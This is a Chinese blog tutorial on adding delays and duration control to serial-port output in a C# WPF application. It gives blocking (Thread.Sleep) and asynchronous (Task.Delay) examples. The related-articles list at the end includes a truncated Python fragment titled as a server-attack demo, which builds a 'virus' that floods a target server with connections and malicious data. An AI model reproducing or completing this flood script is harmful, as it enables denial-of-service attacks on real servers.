在C#中添加I/O延时和持续时间

embedded/2025/1/22 20:46:31/

在C#中添加I/O延时和持续时间,可以通过以下方法实现。具体来说,延时可以通过Thread.Sleep、Task.Delay等方式来模拟延迟,而持续时间的控制可以通过循环结构来设定持续的时间。在执行I/O操作时,你可以在操作之间添加延时,从而达到你想要的效果。
方法 1:使用 Thread.Sleep 模拟延迟
如果你希望在执行I/O操作时控制每个操作之间的延时,可以使用 Thread.Sleep 来暂停线程一定时间。这种方法适用于不需要异步处理的情况。
示例:延时和持续时间控制

using System;
using System.IO.Ports;
using System.Threading;
using System.Windows;namespace WpfApp
{public partial class MainWindow : Window{private SerialPort serialPort;private bool isSendingData;private int durationInSeconds = 10; // 设置持续时间为10秒public MainWindow(){InitializeComponent();InitializeSerialPort();}// 初始化串口private void InitializeSerialPort(){serialPort = new SerialPort("COM1", 9600);  // 设置串口号和波特率serialPort.Open(); // 打开串口}// 启动I/O持续发送功能private void StartSendingData(){if (isSendingData) return;isSendingData = true;DateTime startTime = DateTime.Now; // 获取开始时间while (isSendingData && (DateTime.Now - startTime).TotalSeconds < durationInSeconds){try{// 模拟发送数据到串口string dataToSend = "Hello, World!";serialPort.WriteLine(dataToSend);Console.WriteLine("Sending: " + dataToSend);// 添加延时,控制发送的频率Thread.Sleep(1000); // 每次发送数据后延时1秒}catch (Exception ex){MessageBox.Show($"Error sending data: {ex.Message}");break; // 如果发生错误,退出循环}}StopSendingData();}// 停止I/O持续发送功能private void StopSendingData(){isSendingData = false;}// 界面按钮事件示例:开始按钮private void StartButton_Click(object sender, RoutedEventArgs e){StartSendingData();}// 界面按钮事件示例:停止按钮private void StopButton_Click(object sender, RoutedEventArgs e){StopSendingData();}// 界面关闭时,关闭串口连接private void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e){StopSendingData();if (serialPort.IsOpen){serialPort.Close();}}}
}

代码解释:

1.Thread.Sleep(1000):在每次发送数据后,线程会暂停1秒(1000毫秒)。这样就可以控制数据发送的频率。
2.DateTime startTime = DateTime.Now:记录开始时间,然后通过 DateTime.Now - startTime 来计算程序运行的时间,直到超过预定的持续时间(durationInSeconds)时停止发送数据。
3.while 循环:只要未超过持续时间,并且 isSendingData 为 true,就持续发送数据。

方法 2:使用异步和 Task.Delay 来模拟延时
如果你想在不阻塞主线程的情况下执行I/O操作并添加延时,可以使用 async 和 await 配合 Task.Delay。Task.Delay 是一个异步方法,它不会阻塞线程。
示例:异步延时和持续时间控制

using System;
using System.IO.Ports;
using System.Threading.Tasks;
using System.Windows;namespace WpfApp
{public partial class MainWindow : Window{private SerialPort serialPort;private bool isSendingData;private int durationInSeconds = 10; // 设置持续时间为10秒public MainWindow(){InitializeComponent();InitializeSerialPort();}// 初始化串口private void InitializeSerialPort(){serialPort = new SerialPort("COM1", 9600);  // 设置串口号和波特率serialPort.Open(); // 打开串口}// 启动I/O持续发送功能private async Task StartSendingDataAsync(){if (isSendingData) return;isSendingData = true;DateTime startTime = DateTime.Now; // 获取开始时间while (isSendingData && (DateTime.Now - startTime).TotalSeconds < durationInSeconds){try{// 模拟发送数据到串口string dataToSend = "Hello, World!";serialPort.WriteLine(dataToSend);Console.WriteLine("Sending: " + dataToSend);// 添加异步延时,避免阻塞UI线程await Task.Delay(1000); // 每次发送数据后延时1秒}catch (Exception ex){MessageBox.Show($"Error sending data: {ex.Message}");break; // 如果发生错误,退出循环}}StopSendingData();}// 停止I/O持续发送功能private void StopSendingData(){isSendingData = false;}// 界面按钮事件示例:开始按钮private async void StartButton_Click(object sender, RoutedEventArgs e){await StartSendingDataAsync();}// 界面按钮事件示例:停止按钮private void StopButton_Click(object sender, RoutedEventArgs e){StopSendingData();}// 界面关闭时,关闭串口连接private void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e){StopSendingData();if (serialPort.IsOpen){serialPort.Close();}}}
}

代码解释:

4.Task.Delay(1000):替代了 Thread.Sleep,它是异步的,能够避免阻塞UI线程。每次发送数据后,程序会延时1秒。
5.async 和 await:通过这些关键字来确保异步执行,不会阻塞主线程。
6.通过 StartButton_Click 使用 await StartSendingDataAsync() 来启动数据发送过程。

总结:

1.延时控制:通过 Thread.Sleep 或 Task.Delay 控制每个I/O操作之间的延时。
2.Thread.Sleep 是同步的,会阻塞当前线程,但在某些情况下使用起来简单。
3.Task.Delay 是异步的,可以避免阻塞UI线程,更适合在WPF这样的UI应用中使用。
4.持续时间控制:通过记录开始时间和与当前时间进行比较来控制操作持续的时间。

根据你的需求,你可以选择适合的方法来添加延时和持续时间控制。


http://www.ppmy.cn/embedded/156145.html

相关文章

20250120面试鸭特训营第28天

更多特训营笔记详见个人主页【面试鸭特训营】专栏 250120 1. 说说 Java 中 HashMap 的原理? HashMap 的底层结构 HashMap 底层由 node 数组、单链表、红黑树构成。根据哈希函数计算得到哈希值,哈希值确定了元素保存在 node 数组中的具体下标。HashMap…

HTML-拓展知识 字符实体与URL地址

文章目录 1.字符实体2.URL地址 1.字符实体 引出字符实体&#xff1a; 在编写html代码的过程中&#xff0c;有的时候我们需要让文本中显示类似于<p 之类的字符串&#xff0c;容易造成但是由于标签中就含有 &#xff0c;所以在文本中显示需要转义。这个时候我们就需要字符实体…

如何攻击一个服务器(仅用于教育及娱乐实验目的)

import socket import osdef create_virus():# 创建一个简单的病毒脚本&#xff0c;它会不断尝试连接目标服务器并发送恶意数据virus_code """ import socket import time import threadingdef attack_server(ip, port):while True:try:s socket.socket(socke…

Linux - 线程池

线程池 什么是池? 池化技术的核心就是"提前准备并重复利用资源". 减少资源创建和销毁的成本. 那么线程池就是提前准备好一些线程, 当有任务来临时, 就可以直接交给这些线程运行, 当线程完成这些任务后, 并不会被销毁, 而是继续等待任务. 那么这些线程在程序运行过程…

Oracle 创建并使用外部表

目录 一. 什么是外部表二. 创建外部表所在的文件夹对象三. 授予访问外部表文件夹的权限3.1 DBA用户授予普通用户访问外部表文件夹的权限3.2 授予Win10上的Oracle用户访问桌面文件夹的权限 四. 普通用户创建外部表五. 查询六. 删除 一. 什么是外部表 在 Oracle 数据库中&#x…

TCP如何保证安全可靠?

TCP如何保证安全可靠&#xff1f; TCP&#xff08;传输控制协议&#xff09;是一种面向连接的、可靠的传输层协议。为了保证数据传输的安全性和可靠性&#xff0c;TCP 采用了多种机制&#xff0c;包括确认和重传、数据校验、数据分片和排序、流量控制以及拥塞控制。 1. 确认和…

【pytorch】norm的使用

torch.norm [deprecated ] 在torch.norm中&#xff0c;通过参数p来定制order 主要有如下几类 L1 norm 计算张量中所有数值之和L2 norm 计算张量中所有数值的平方和开根Frobenius norm 计算张量中所有维度上所有数值的平方和开根Infinity norm 计算张量中有所数值绝对值最大N…

Mysql触发器(学习自用)

一、介绍 二、触发器语法 注意&#xff1a;拿取新的数据时用new&#xff0c;旧数据用old。